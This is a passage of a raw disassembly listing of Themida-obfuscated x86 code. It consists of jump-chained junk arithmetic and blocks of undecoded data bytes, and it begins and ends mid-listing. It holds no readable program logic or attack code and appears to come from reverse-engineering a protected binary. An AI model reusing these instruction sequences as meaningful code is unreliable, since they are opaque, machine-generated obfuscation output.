57C3297Eh, 8456E9h, 4C08300h dd 5C240487h, 2404A30Fh, 0ECFAE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5481FA: ; CODE XREF: Themida_:0054D7C5j pop esi add ebx, 52A5A1Eh add ebx, 25007623h jmp loc_54E8A3 ; --------------------------------------------------------------------------- loc_54820C: ; CODE XREF: Themida_:0054B6EEj mov edx, esi jmp loc_5521EF ; --------------------------------------------------------------------------- loc_548213: ; CODE XREF: Themida_:0054B967j pop ebp push ebx mov ebx, 30A0564Bh xor ebp, ebx pop ebx dec ebp and ebp, 22B00E7Bh sub ebp, 207F044Ah sub esp, 4 mov [esp], ebx push ebp pop ebx mov edi, ebx jmp loc_552425 ; --------------------------------------------------------------------------- dd 2428C181h, 0D9017EE9h, 2428E981h, 0A7E97EE9h, 81000065h dd 0FF1673C6h, 0F289527Ah, 5DF7E9h, 240C8900h, 0FC5CB1B9h dd 0C1E9491Ch db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54826B: ; CODE XREF: Themida_:0054D86Aj mov edi, [esp] push eax jmp loc_549CC5 ; --------------------------------------------------------------------------- dd 89243489h, 4C681E6h, 81000000h, 4EEh db 0 byte_548285 db 0E9h, 6Fh, 0FDh ; DATA XREF: Themida_:0056151Eo dd 400FFFFh, 61E99C24h, 58FFFFECh, 4DF7E381h, 0F7431704h dd 7CC381DBh, 55160409h, 9E6669BDh, 5DE92963h, 1829C181h dd 0D9014202h, 1829E981h, 0C1814202h, 639E6669h, 4C1835Bh dd 8B240C87h, 54512424h, 5A3F6859h, 14890000h, 4BA24h dd 0E9810000h, 628527C9h, 7D49C181h, 0D1011E07h, 7D49E981h dd 0C1811E07h, 628527C9h, 4EC815Ah, 89000000h, 4B82404h dd 81000000h, 0AB7763E9h, 0A500E969h, 3C890000h, 6F03E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548316: ; CODE XREF: Themida_:0054B70Fj and ecx, 6FA34E99h jmp loc_54FE6E ; --------------------------------------------------------------------------- loc_548321: ; CODE XREF: Themida_:0054F3A1j pop eax jmp loc_55225A ; --------------------------------------------------------------------------- db 89h dd 66E9240Ch db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54832F: ; CODE XREF: Themida_:00549BB2j push 529Ah jmp loc_54A33B ; --------------------------------------------------------------------------- db 0BBh, 5Fh, 57h dd 0BDE92E95h, 30000002h, 38E3E9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54834A: ; CODE XREF: Themida_:005512C0j mov ebx, 77F70E67h sub eax, ebx jmp loc_54DA52 ; --------------------------------------------------------------------------- loc_548356: ; CODE XREF: Themida_:00550623j pop ebx jmp loc_54B11E ; --------------------------------------------------------------------------- loc_54835C: ; CODE XREF: Themida_:0054BA45j xchg ebx, edx and edx, 52C23669h add edx, 0FDFFFC01h mov esi, edx pop edx jmp loc_5499CD ; --------------------------------------------------------------------------- dw 148Bh aSli db '$élˆ',0 align 2 dw 0FA01h dd 2414875Fh, 0E924248Bh, 8DFDh, 8B243C87h, 4892424h, 0DBE95724h dd 810000A2h, 0C559BEAh, 61C2810Ch, 10A7817h, 616856C2h dd 5E0A7817h, 1C66EA81h, 0F2292720h, 1C66C281h, 815E2720h dd 0C559BC2h, 95AFE90Ch, 34FF0000h, 2FAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5483CE: ; CODE XREF: Themida_:0054BF6Fj xchg ebx, [esp] pop esp mov [esp], edx mov edx, 54756A97h push esi mov esi, 4843699h sub esi, 1825545Bh neg esi or esi, 110F296Dh jmp loc_552A34 ; --------------------------------------------------------------------------- aASI db '€ÅÏé+¨',0 dw 5D00h dd 4C281h, 14870000h, 0C1835C24h, 6D4E902h, 8B660000h dd 83552404h, 248904ECh, 46D5E924h, 0C3810000h, 4, 4D56E9h dd 48B6600h, 0EC815024h, 4, 0E9242489h, 3DFCh ; --------------------------------------------------------------------------- loc_54843C: ; CODE XREF: Themida_:0054D92Aj add ebp, 4 jmp loc_54B08A ; --------------------------------------------------------------------------- db 81h dd 823BD2E3h, 0C2EB8128h, 0E974DA25h, 0FFFFFBE1h, 5CE9F000h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54845F: ; CODE XREF: Themida_:00550AC1j add esp, 4 or edx, eax shl edx, 1 push esi jmp loc_54FAFF ; --------------------------------------------------------------------------- db 58h dd 8324048Bh, 0BA5204C4h, 429873D6h, 665AD031h, 0E900B60Fh dd 0A777h, 8259E952h, 0C4830000h, 240C3304h, 33240C31h dd 0FF5C240Ch, 53592434h, 241C8B54h, 5704C483h, 9131E9h dd 4C78100h, 87000000h, 0A8E9243Ch, 81000017h, 0F59DFFC3h dd 305A89E4h, 83241C8Bh, 9D6104C4h, 0EA22E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5484D2: ; CODE XREF: Themida_:0054FA72j push 53BFh mov [esp], edx push eax pushf jmp loc_548063 ; --------------------------------------------------------------------------- loc_5484E1: ; CODE XREF: Themida_:005473ADj add edi, 4 xchg edi, [esp] pop esp loc_5484E8: ; CODE XREF: Themida_:loc_549B65j push 3AD8h mov [esp], ebx push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_54FAF2 ; --------------------------------------------------------------------------- dd 8958C331h, 0EC835BD8h, 6401E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548512: ; CODE XREF: Themida_:005513A2j mov edx, 0AD31A46h neg edx xor edx, 327D4872h add edx, 59541CF9h sub edx, 14D4566Fh jmp loc_54F8C2 ; --------------------------------------------------------------------------- dd 295AD029h, 4EC83D8h, 0BF243C89h, 89E1B5Bh, 2D5FF801h dd 33FB63E2h, 70B7E9h, 0E9A2E900h, 8B66FFFFh, 0E9532404h dd 0A548h, 2424895Ch, 6C56E9h db 0 ; --------------------------------------------------------------------------- loc_548565: ; CODE XREF: Themida_:00549A8Fj and ebx, 5D466EF2h sub ebx, 12B5685h sub ebx, 69CC1770h sub ebx, 0D54EFAD9h add edx, ebx pop ebx push esi mov esi, 7F8C1FBBh xor esi, 788C2CC1h sub esi, 77A13A88h add esi, 70A10712h jmp loc_54C7C1 ; --------------------------------------------------------------------------- db 50h, 0FFh, 74h dd 8F580424h, 515C2404h, 0F6FDB050h, 3E8C0D8h, 0D0F6C8FEh dd 0ED341D24h, 59FE953h, 1C890000h, 21D2E924h, 24890000h dd 24048124h, 4, 5624148Bh, 0C6815E54h, 4, 10B3E9h db 0 ; --------------------------------------------------------------------------- loc_5485E1: ; CODE XREF: Themida_:00552A62j pop dword ptr [esp] jmp loc_54F2E3 ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 2C31D5F7h, 14FEE924h, 875D0000h, 0E95C243Ch, 7361h dd 815BDD01h, 0AA1661EDh, 2C8FE916h, 0BB530000h, 69FF2572h dd 93E9D831h, 5F000048h, 18ABF781h, 0F8892D10h, 8BC3015Fh dd 0B8E92404h, 0FF000098h, 34FF2434h, 3BABE924h, 0DA010000h dd 81241C8Bh, 4C4h, 5AD70100h, 4B951h, 0C7810000h, 2FF15BCEh dd 2DC0C781h, 0CF2971C4h, 2DC0EF81h, 0EF8171C4h, 2FF15BCEh dd 83240C8Bh, 3C8704C4h, 1FF2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548676: ; CODE XREF: Themida_:0054FEECj and ch, 0D4h or ch, 0BEh jmp loc_54AE99 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 8924248Bh, 0BD55240Ch, 6664304Bh, 780DE581h, 0A6E902D4h dd 6800000Ah, 3EC3h, 54242C89h, 3308E9h db 0 ; --------------------------------------------------------------------------- loc_5486A9: ; CODE XREF: Themida_:0054C9FFj mov [edx], ebp jmp loc_54C565 ; --------------------------------------------------------------------------- dd 0B60F6664h, 2D686602h, 489665Eh, 0E832E924h, 0E954FFFFh dd 0A087h, 8324048Bh, 895104C4h, 4C181E1h, 0E9000000h dd 581Dh, 4F29E953h, 0E5810000h, 638C3C8Eh, 773C581h, 6DE91D87h dd 81000011h, 4C7h, 0E869E900h, 1C89FFFFh, 815B5424h, 4C3h dd 39B95100h, 0E91D6C68h, 5F2Bh ; --------------------------------------------------------------------------- loc_548714: ; CODE XREF: Themida_:0054750Cj xor edi, esi push eax push edi push dword ptr [esp] jmp loc_54C944 ; --------------------------------------------------------------------------- loc_548720: ; CODE XREF: Themida_:0054ED15j push dword ptr [esp+4] jmp loc_54A480 ; --------------------------------------------------------------------------- loc_548729: ; CODE XREF: Themida_:0054E831j mov edx, ebx pop ebx sub [edi+24h], edx pop edx push dword ptr [esp] pop ebx add esp, 4 xor edx, edx push ebx jmp loc_5479AF ; --------------------------------------------------------------------------- dw 8B66h dd 8957240Ch, 5C8968E7h, 0C890000h, 6D03E924h, 0E9810000h dd 8105B63h, 0B7BE981h, 1C8B3873h, 4C48124h, 87000000h dd 0E95C240Ch, 5A0Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi jmp loc_54DE24 ; --------------------------------------------------------------------------- loc_548784: ; CODE XREF: Themida_:00552D1Bj xor ebp, ebx pop ebx add eax, ebp mov ebp, [esp] add esp, 4 jmp loc_552D20 ; --------------------------------------------------------------------------- dd 0E92434FFh, 3895h ; --------------------------------------------------------------------------- loc_54879C: ; CODE XREF: Themida_:0055044Cj shl eax, 6 and eax, 705C7575h sub eax, 7008413Ch sub ebx, 6F14369Dh add ebx, eax add ebx, 6F14369Dh pop eax add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_5512DC ; --------------------------------------------------------------------------- dd 0E99CC83Bh, 30Dh, 31240433h, 4332404h, 83E95C24h, 5C000015h dd 31243433h, 31E92434h, 89FFFFE7h, 36BE2434h, 0C1549423h dd 0E68102EEh, 286F1AF9h, 0EED14E46h, 7BA0C681h, 0F201FFEDh dd 8124348Bh, 4C4h, 0E3895300h, 4C381h, 0EB810000h, 4 dd 5C241C87h, 0BD242C89h, 3B7549FAh, 49F8F581h, 0EA293B75h dd 2414875Dh, 6624248Bh, 66240C89h, 66C8B60Fh, 0A9E99C51h dd 89FFFFE6h, 0E0892404h, 405h, 89575200h, 4C781E7h, 83000000h dd 3C8704EFh, 2C895C24h, 26824h, 895D0000h, 242C8BEAh dd 4C481h, 0D0010000h, 0E92434FFh, 87D2h, 6C256C05h, 3E2D4057h dd 0E96DDD2Eh, 38DFh ; --------------------------------------------------------------------------- loc_548894: ; CODE XREF: Themida_:00547D45j ; Themida_:0054EA15j ... push dword ptr [esp] mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_54CB47 ; --------------------------------------------------------------------------- loc_5488B1: ; CODE XREF: Themida_:0054EDC8j mov ebp, 3D614042h sub ebp, 0E20E711Bh sub edi, 56321A18h add edi, 13BE4DA2h sub edi, ebp sub edi, 13BE4DA2h add edi, 56321A18h pop ebp and eax, edi jmp loc_54EEBE ; --------------------------------------------------------------------------- dw 8B66h dd 0E1E92404h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5488E7: ; CODE XREF: Themida_:0054CB20j mov ebx, 4 jmp loc_5525CE ; --------------------------------------------------------------------------- loc_5488F1: ; CODE XREF: Themida_:00547F39j dec bl not bl add bl, 0FFh shr bl, 2 or bl, 5Bh jmp loc_54E359 ; --------------------------------------------------------------------------- loc_548903: ; CODE XREF: Themida_:005479BDj mov ebx, ecx pop ecx add [esp+4], ebx jmp loc_54C6B1 ; --------------------------------------------------------------------------- db 0BDh dd 790843B3h, 59F9F581h, 0EDC15CC3h, 0BDC58104h, 29800006h dd 0F8015DEFh, 86EA815Fh, 163FE36h, 363EE9C2h, 68560000h dd 1B521B93h, 0E9B9515Eh, 21214021h, 2434FFCEh, 0E2895259h dd 4C281h, 0C2830000h, 24148704h, 0BEE815Ch, 89B9ACB6h dd 0E7815EF7h, 512E1C9Ah, 688AB850h, 0B95169A9h, 4A2C71ADh dd 9AE0E9h, 55DFF700h, 91BF5750h, 897AC175h, 19A4E9F8h dd 0C0830000h, 96896FFh, 0E9000045h, 0FFFFE627h, 503C77FFh dd 0E34ADFB8h, 2444297Dh, 68585804h, 995h, 53243C89h, 25CFBA52h dd 0DCBB19E4h, 0E95785DAh, 47D0h, 0EA08D1B5h, 7C3E9h db 0 ; --------------------------------------------------------------------------- loc_5489C9: ; CODE XREF: Themida_:005501E1j push 40h push dword ptr [esp] jmp loc_54A908 ; --------------------------------------------------------------------------- dw 815Ch dd 4ECh, 241C8900h, 0E952E389h, 2CBEh ; --------------------------------------------------------------------------- loc_5489E8: ; CODE XREF: Themida_:0054E2C7j mov ecx, 4 mov edx, ecx pop ecx jmp loc_549E4B ; --------------------------------------------------------------------------- db 56h, 52h, 68h dd 391A19BCh, 8324148Bh, 0DAF704C4h, 82A3E9h, 5DBCBD00h dd 0C1453B9Bh, 0C14D04EDh, 0EDC104EDh, 4FC58104h, 0E9FFFC46h dd 1C65h, 4EC81h, 0C890000h, 55595424h, 4BDh, 8BE90100h dd 59E9242Ch, 68000096h, 1B01h, 83240489h, 2C8904ECh, 8666824h dd 815D780Ch, 1EDh, 53DDF700h, 1997E9h, 0BFF28100h, 29F8B271h dd 0D32958C2h, 5A2434FFh, 3EA1E9h db 0 ; --------------------------------------------------------------------------- loc_548A75: ; CODE XREF: Themida_:005476AAj add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] movzx ecx, al push 41h mov [esp], ecx jmp loc_546EF4 ; --------------------------------------------------------------------------- loc_548A97: ; CODE XREF: Themida_:00547303j add eax, 4 xchg eax, [esp] pop esp or eax, eax jmp loc_54706C ; --------------------------------------------------------------------------- loc_548AA7: ; CODE XREF: Themida_:0054E0F3j or edx, eax shl edx, 1 push dword ptr [edi+24h] push ecx pop dword ptr [edi+24h] push dword ptr [esp] pop ecx push edi jmp loc_550321 ; --------------------------------------------------------------------------- dd 0D0DABE58h, 0EE01FE67h, 1487E9h db 0 ; --------------------------------------------------------------------------- loc_548AC9: ; CODE XREF: Themida_:0054F7ABj xchg bh, al push ecx mov cl, 24h inc cl jmp loc_54C029 ; --------------------------------------------------------------------------- db 9, 0C8h, 59h dd 86F3E9h, 0E412E900h, 0C87FFFFh, 24248B24h, 8BFEE9h db 0 ; --------------------------------------------------------------------------- loc_548AED: ; CODE XREF: Themida_:0054F765j push dword ptr [esp] pop ebx push edi jmp loc_5473A5 ; --------------------------------------------------------------------------- loc_548AF7: ; CODE XREF: Themida_:00550D96j neg ecx add ecx, 8F53ABEh or ecx, 0B106A95h jmp loc_5476F3 ; --------------------------------------------------------------------------- loc_548B0A: ; CODE XREF: Themida_:0054D652j inc esi jmp loc_54D339 ; --------------------------------------------------------------------------- dd 1C6805Bh, 0DF68DEF6h, 89000039h, 0BBB1240Ch, 0C1FEC9FEh dd 8056E180h, 0E9807AE1h, 0C4C180B1h, 0B7E9D9F6h, 5000000Dh dd 75A2BE56h, 97E9242Ah db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_548B43: ; CODE XREF: Themida_:00549847j pop eax xor eax, 644717B0h pop ecx push eax pop ebx pop eax add ebx, edi push dword ptr [ebx] sub dword ptr [esp], 59F4D01h jmp loc_54C58F ; --------------------------------------------------------------------------- db 88h, 0C3h, 88h dd 51585BDDh, 0C5FEF8B5h, 0E91BED80h, 8778h ; --------------------------------------------------------------------------- loc_548B70: ; CODE XREF: Themida_:00550D6Ej mov edi, edx pop edx jmp loc_54A73F ; --------------------------------------------------------------------------- dd offset dword_4E414C+31Ch dd 240C8900h, 8547E9h, 0DAB85000h, 15A8B5Dh, 2434FFC3h dd 4C48158h, 8B000000h, 0C4832434h, 5694E904h, 34FF0000h dd 24048B24h, 56E28952h, 320B850h, 0C6896D52h, 0B9514658h dd 2EEF3DB9h, 0FFF2BBE9h, 0E32EE9FFh, 7668FFFFh, 0E9000019h dd 0FFFFF54Ch, 8568F8BAh, 8A80E93Fh, 87660000h, 669766FDh dd 0D7F76697h, 31669766h, 0F83166C7h, 66C73166h, 3166FD31h dd 1016E9EFh, 14330000h, 9C5DE924h, 0FA010000h, 2414875Fh dd 48B665Ch, 56E924h, 4A680000h, 8900003Eh, 9BD242Ch, 89721341h dd 0DFF75DEFh, 0FFF584E9h, 240C33FFh, 6624248Bh, 5456E1F7h dd 2A1AE95Eh, 0C2B90000h, 81494C37h, 4C37BEE9h, 0FEEB8149h dd 0E9614471h, 627Bh, 29403868h, 2D485873h, 323D3D93h dd 17008C05h, 0E9C629E1h, 0FFFFECF6h, 0D9E95451h, 8B00006Ah dd 0C481240Ch, 4, 0FFE277E9h, 66C361FFh, 5324048Bh, 0C381E389h dd 4, 0E904EB83h, 40Eh ; --------------------------------------------------------------------------- loc_548C94: ; CODE XREF: Themida_:0054F24Aj pop dword ptr [esp] pop esp mov [esp], ebx sub dword ptr [esp], 3709146Dh push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_54C0FC ; --------------------------------------------------------------------------- loc_548CB6: ; CODE XREF: Themida_:0054BDF0j pop eax or edi, 7CD45334h add edi, 0B7CD0502h sub eax, edi pop edi sub eax, 55BF0727h jmp loc_54F125 ; --------------------------------------------------------------------------- dd 56E38953h, 43F5E9h db 0 ; --------------------------------------------------------------------------- loc_548CD9: ; CODE XREF: Themida_:0054BAC6j add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] pop esp or eax, eax jz loc_54A4BA push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push esi mov esi, esp add esi, 4 push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_549D98 ; --------------------------------------------------------------------------- dd 88C18851h, 0E95859CFh, 0FFFFEC52h, 5077F781h, 0EFC15B1Dh dd 7FE94F06h, 0BF000075h, 9339BE53h, 53E9F701h, 56000048h dd 0C681E689h, 4, 8704C683h, 0FF5C2434h, 0EE92434h, 66000079h dd 8324048Bh, 3C8904ECh, 6FE95424h db 3 dup(0) ; --------------------------------------------------------------------------- loc_548D67: ; CODE XREF: Themida_:0055244Dj mov esi, 1DE9CC8Fh xor ebp, esi pop esi and ecx, ebp pop ebp shr ecx, 7 jmp loc_548E98 ; --------------------------------------------------------------------------- dw 0EE81h dd 467F1DF9h, 0B9B8C681h, 0F501F9EFh, 0FFE1EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_548D8D: ; CODE XREF: Themida_:0055268Dj add esp, 4 shr ecx, 7 push 182Bh mov [esp], ecx mov ecx, 153360CDh shl ecx, 8 shr ecx, 8 jmp loc_54AA5E ; --------------------------------------------------------------------------- dw 0E983h dd 240C8704h, 242C895Ch, 7B88E954h, 0BD550000h, 4, 15DE989h dd 77D7E9CAh, 0E5890000h, 15F4E951h, 0E95F0000h, 5607h dd 0FD368h, 24348900h, 3E1EE9h, 9CF8100h, 81330F0Ah, 192E8FCFh dd 81DFF757h, 80D03DEFh, 1BEE8188h, 15B2253h, 1BC681FEh dd 5F5B2253h, 6E5268h, 240C8900h, 7F0CE0B9h, 53E1D128h dd 0F22BE3BBh, 0BFF3816Dh, 314BFF3Bh, 81415BD9h, 0F3099FF1h dd 47EE8176h, 2923FE74h, 47C681CEh, 8B23FE74h, 0C483240Ch dd 24348704h, 6624248Bh, 66241489h, 9DE99C50h, 68FFFFE0h dd 4EBDh, 53240489h, 603B42BBh, 48E38133h, 8177C166h, 0CB3C03CBh dd 37B85007h, 0F7675D0Bh, 0E9BEE9D8h, 248BFFFFh, 0C8B6624h dd 9136E924h, 53590000h, 0BBh, 0E9FB2900h, 674Ah ; --------------------------------------------------------------------------- loc_548E98: ; CODE XREF: Themida_:00548D75j sub esp, 4 jmp loc_547511 ; --------------------------------------------------------------------------- loc_548EA3: ; CODE XREF: Themida_:0054B723j push edx mov edx, 538F3471h dec edx xor edx, 5CA65328h add ebp, edx pop edx jmp loc_552010 ; --------------------------------------------------------------------------- dd 282DB753h, 0D1F65BF9h, 806EE980h, 0C18094E9h, 9BD0E9EBh dd 0F3290000h, 0DE068h, 4633E900h, 0F6810000h, 6B9E2F3Ah dd 0F681D6F7h, 314A605Fh, 0E6C1D6F7h, 82C68107h, 8980E29Ch dd 9496E9F0h, 1C890000h, 0C8E95224h, 5F000006h, 500D40h dd 0E9576925h, 4B91h, 0C8B0E04h, 4C48324h, 0FEE95266h dd 66000024h, 6615D568h, 66240C89h, 22474FFh, 6E3DE9h db 0 ; --------------------------------------------------------------------------- loc_548F31: ; CODE XREF: Themida_:00549C74j pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ecx mov ecx, 726B3D7Dh or ecx, 918690Bh push ecx not dword ptr [esp] jmp loc_54E6A7 ; --------------------------------------------------------------------------- dw 5657h dd 337A2EBEh, 0FDD5E972h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F5E: ; CODE XREF: Themida_:0054EABBj add edx, 2 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push 2868h mov [esp], ecx mov ch, dl jmp loc_54C788 ; --------------------------------------------------------------------------- loc_548F7F: ; CODE XREF: Themida_:00551F36j movzx eax, al pop small word ptr [edi+eax*4] jmp loc_546EF4 ; --------------------------------------------------------------------------- db 88h dd 88DDF6C5h, 49E959E8h, 5F00008Fh, 4BB53h, 0B8500000h dd 5A635527h, 8158C701h, 541D39EFh, 41EF8172h, 0E9377269h dd 1A0Fh, 53D830ACh, 0E380EAB3h, 0E9D3F6F4h, 899Eh, 5CE95152h dd 5D00004Dh, 4C581h, 0BE560000h, 2, 16ACC581h, 58E971BBh db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548FE7: ; CODE XREF: Themida_:00551A24j push edx mov edx, 72E12C56h jmp loc_54AEA1 ; --------------------------------------------------------------------------- loc_548FF2: ; CODE XREF: Themida_:005500A2j xor eax, [esp] jmp loc_551483 ; --------------------------------------------------------------------------- loc_548FFA: ; CODE XREF: Themida_:00552A7Fj sub bl, dh jmp loc_550E99 ; --------------------------------------------------------------------------- db 5Ah, 5, 61h dd 5146E29h, 6714910h, 39734B05h, 2DE95170h, 5C000099h dd 42EEF80h, 2CF80002h, 0FE95B02h, 0AD000021h, 1A8FBA52h dd 392D2760h, 0E90ECB58h, 19DAh, 0E281DAF7h, 31AB09B9h dd 0C911EA81h, 0D7010F17h, 0EC81595Ah, 4, 0FF243C89h, 8B042474h dd 0C483243Ch, 24048F04h, 0E924248Bh, 3DC6h, 7EAC159h dd 731DE281h, 0B95144D3h, 534000h, 5CA7EA81h, 0CA290B34h dd 5CA7C281h, 0C8B0B34h, 4C48324h, 55AD001h, 2, 8B240487h dd 88642424h, 0DE52E902h, 1C87FFFFh, 0D3E95C24h, 8300002Dh dd 48704C0h, 0C3815C24h, 4, 5C241C87h, 81585450h, 4ECh dd 241C8900h, 21EBD55h, 0E5C10BFDh, 0F60CE905h, 8359FFFFh dd 348904ECh, 4BE24h, 22E90000h, 8300007Ch, 0F20104C4h dd 20FDE95Eh, 30B80000h, 31344972h, 0EC8358C6h, 24048904h dd 1D60B3B8h, 0E9C62994h, 5E23h, 243C3358h, 3BEEE9h db 0 ; --------------------------------------------------------------------------- loc_549115: ; CODE XREF: Themida_:00551DBAj xor eax, 76F8E77h add ebx, eax pop eax mov ecx, [ebx] pop ebx push edx mov edx, 1C62303h push edi mov edi, 74002C29h push ebp mov ebp, 6B237523h or edi, ebp pop ebp jmp loc_550D73 ; --------------------------------------------------------------------------- aZsc db '[Zé—}',0 dd 81D5F700h, 0A11A82E5h, 68F58142h, 816A0B23h, 602A88F5h dd 3EED8162h, 0E948CA03h, 7376h ; --------------------------------------------------------------------------- loc_549160: ; CODE XREF: Themida_:00551898j add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_547C58 ; --------------------------------------------------------------------------- db 0FEh, 0C3h, 0F6h dd 0E9DBF6D3h, 377Dh ; --------------------------------------------------------------------------- loc_54917C: ; CODE XREF: Themida_:0055071Dj push dword ptr [esp] mov edi, [esp] jmp loc_549BA0 ; --------------------------------------------------------------------------- loc_549187: ; CODE XREF: Themida_:005512E3j jmp loc_546EF4 ; --------------------------------------------------------------------------- dd 0C2805966h, 0E78957FDh, 4C781h, 0EF830000h, 1CD7E902h dd 0E95D0000h, 0FFFFDD4Ch, 24048966h, 0FFDD43E9h, 49C380FFh dd 179CE9h, 4C48300h, 883BE9h, 2CC18100h, 89CFC517h, 0EEC159CEh dd 0EC815208h, 4, 543FE9h db 0 ; --------------------------------------------------------------------------- loc_5491D9: ; CODE XREF: Themida_:0054F9FCj mov [esp], eax jmp loc_54CEBA ; --------------------------------------------------------------------------- db 81h, 0C5h, 0EEh dd 1722646h, 0EEED81FDh, 5F722646h, 5C242C87h, 4D3B951h dd 0CA29103Fh, 83240C8Bh, 90E904C4h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549207: ; CODE XREF: Themida_:00552A99j push ebx mov ebx, 70BB6D0Bh push ebp mov ebp, 70BB6D0Ch add ebx, 1AC4775Eh sub ebx, ebp sub ebx, 1AC4775Eh push dword ptr [esp] pop ebp add esp, 4 push ebx jmp loc_54F101 ; --------------------------------------------------------------------------- dw 0E6C1h dd 9ABA5203h, 4A39BE0Ah, 32A2C281h, 0BF57428Eh, 1BEF08F3h dd 0FBE9FA09h, 8F00007Ah, 248B2404h, 48B6624h, 4EC8324h dd 54240C89h, 0E2DE959h, 0C4810000h, 4, 93B45066h, 5866E728h dd 285BF988h, 0E95966C8h, 59DDh, 81E68956h, 4C6h, 4BD5500h dd 0E9000000h, 0FFFFDEB3h ; --------------------------------------------------------------------------- loc_549290: ; CODE XREF: Themida_:005506A1j mov eax, 4 sub ebx, eax pop eax push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_54DD08 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 0FFF1E1E9h, 8CF781FFh, 0F7223606h, 0DCE947DFh, 81000068h dd 1D66B6E9h, 311EE972h, 14890000h, 81E28924h, 4C2h, 0B9515600h dd 42C06171h, 0BC4D2968h, 24348B7Ch, 4C481h, 0CE310000h dd 52240C8Bh, 42D4E9h, 4C28300h, 0E9241487h, 93E2h ; --------------------------------------------------------------------------- loc_5492FC: ; CODE XREF: Themida_:0054B24Aj not cl or cl, 4Dh jmp loc_54C70A ; --------------------------------------------------------------------------- dw 0EB81h dd 9D651BDh, 4D21C381h, 0D329386Eh, 4EC81h, 34890000h dd 1FFFBE24h, 0EE81627Bh, 28DD66E7h, 9409C681h, 25E9FED0h dd 5D000085h, 5024048Bh, 6034E9h, 242C8100h, 491051C1h dd 63E5815Dh, 81651747h, 6ECF84C5h, 5DEB01EAh, 24148B66h dd 375EE9h, 72D6BF00h, 0E5E91C29h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549367: ; CODE XREF: Themida_:0054A526j add ch, 7Eh and al, ch push dword ptr [esp] pop ecx add esp, 4 push 5866h mov [esp], ebx push 2898h mov [esp], esi push eax pop esi push edi jmp loc_551497 ; --------------------------------------------------------------------------- loc_54938B: ; CODE XREF: Themida_:0054E9F2j mov ecx, [esp] add esp, 4 pop eax sub ebp, edi pop edi push 129Ah jmp loc_55244A ; --------------------------------------------------------------------------- loc_54939F: ; CODE XREF: Themida_:0054CE58j mov ecx, esp jmp loc_54BFCD ; --------------------------------------------------------------------------- loc_5493A6: ; CODE XREF: Themida_:0054F89Dj push ecx mov ecx, esp jmp loc_5506A6 ; --------------------------------------------------------------------------- dw 0F201h dd 6824348Bh, 4B0h, 89242C89h, 90E950E5h, 8700003Bh, 7E92404h dd 8900004Ch, 6853240Ch, 73321B7Dh, 2D5CE95Bh, 4B80000h dd 1000000h, 53FE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5493E6: ; CODE XREF: Themida_:0054DF3Ej and ebp, 7B676BE9h add ebp, 27FE5233h add ebp, 19F9883Fh sub ecx, ebp jmp loc_552A67 ; --------------------------------------------------------------------------- loc_5493FF: ; CODE XREF: Themida_:0054B0DDj jz loc_54EE7A push 70DDh mov [esp], ecx mov ecx, 28h jmp loc_5525D9 ; --------------------------------------------------------------------------- db 66h dd 5324048Bh, 342B68h, 48F5400h, 24048324h, 3D2E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54942E: ; CODE XREF: Themida_:0054A8EAj pop esi add ebx, 2E7935D6h sub ebx, 27BC0F34h add ebx, esi add ebx, 27BC0F34h sub ebx, 2E7935D6h pop esi push dword ptr [eax] jmp loc_54BA98 ; --------------------------------------------------------------------------- db 81h, 0EDh, 44h dd 81164D71h, 144587EDh, 0C2ED8170h, 29DB6E40h, 0D6015DEAh dd 4BD555Ah, 1000000h, 34875DEEh, 24248B24h, 0FFF34BE9h dd 0A76866FFh, 7503E931h, 0C9FE0000h, 8006E1C0h, 0C9FEDEC1h dd 8046E980h, 0C38098F1h, 80CB002Ah, 9AE92AEBh, 66000002h dd 662AFA68h, 0E924148Bh, 21Ch ; --------------------------------------------------------------------------- loc_5494B0: ; CODE XREF: Themida_:0054C1B9j add esp, 4 push 7E6Ch mov [esp], edi pop eax push dword ptr [esp] mov edi, [esp] push edi mov edi, esp add edi, 4 jmp loc_54A7B3 ; --------------------------------------------------------------------------- db 88h dd 0F58851C6h, 5A59EF88h, 1509E9h, 6E9C100h, 4EC81h, 0BE90000h dd 81FFFFFAh, 1212D1C1h, 59CF01C8h, 2783BB53h, 0EBC10670h dd 0C3814B08h, 3C261D76h, 0F072C381h, 0DF294BE2h, 81241C8Bh dd 4C4h, 0E554E900h, 0C87FFFFh, 4335C24h, 24043124h, 8B240433h dd 89662424h, 50662414h, 0D9BAE99Ch, 0C701FFFFh, 4C78158h dd 33000000h, 9E9243Ch db 66h, 2 